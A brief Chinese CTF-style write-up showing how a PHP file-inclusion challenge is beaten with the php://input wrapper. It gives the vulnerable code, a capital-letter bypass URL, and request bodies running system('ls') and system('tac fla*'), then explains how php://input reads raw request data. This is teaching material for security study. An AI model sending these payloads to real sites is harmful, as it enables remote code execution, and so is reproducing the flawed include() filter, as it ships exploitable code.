PHP 伪协议之 php://input

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

此处可大写绕过与 php://input 相结合。

URL:

1
/?file=Php://input

请求体:

1
2
3
<?php system("ls");?>//第一次请求

<?php system("tac fla*");?>//第二次请求

借此讲讲 php://input 怎么用。

php://input 是一个 PHP 内置的伪协议,用于读取 HTTP 请求中的原始数据

从超级全局变量 $_POST 数组读取的是处理过的、作为一个个元素的参数。当需要读取 POST 原始数据时,通常就会用到 php://input 伪协议来读取请求体。因为是直接读取请求体,所以 HTTP method 不是 POST 也能读取

所以,我们可以发送请求时抓包,然后修改请求体为 Payload ,并把 URL 中将要被文件包含的参数的值改为 php://input ,最后发包看看响应的效果。